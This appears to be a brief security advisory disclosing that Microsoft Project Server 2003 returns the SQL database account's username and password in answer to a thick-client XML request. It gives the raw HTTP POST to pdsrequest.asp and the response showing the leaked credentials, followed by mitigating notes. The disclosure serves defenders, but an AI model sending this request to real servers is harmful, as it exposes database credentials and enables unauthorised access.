============================================================== % Project Server 2003 - Credential Disclosure % brett.moore@security-assessment.com ============================================================== Microsoft Project server 2003 implements a thick client for some of the functionality. The thick client uses XML requests to talk to the server of HTTP(S). One of these requests returns the username and password of the MSProjectUser account used to access the SQL database as well as other system information. -------------------------------------------------------------- POST http://SERVER/projectserver/logon/pdsrequest.asp HTTP/1.0 Accept: */* Accept-Language: en-nz Pragma: no-cache Host: SERVER Content-length: 87 Proxy-Connection: Keep-Alive Cookie: PjSessionID= 1 0 0 theuser 0 {SQLServer} ProjectServer SERVER 1 resglobal MSProjectUser <---- sekretpass <---- SERVER\USER -------------------------------------------------------------- Some quick notes that mitigate this attack; * The cookie must be a valid cookie, which is obtained via a login with a valid username and password. * Since the thick client is 'client side' any sql can be manipulated anyway. * The MSProjectUser should be a low level account anyway * Other 'undocumented' or 'unauthorised' requests 'may' also be able to be made through this method. ============================================================== % ==============================================================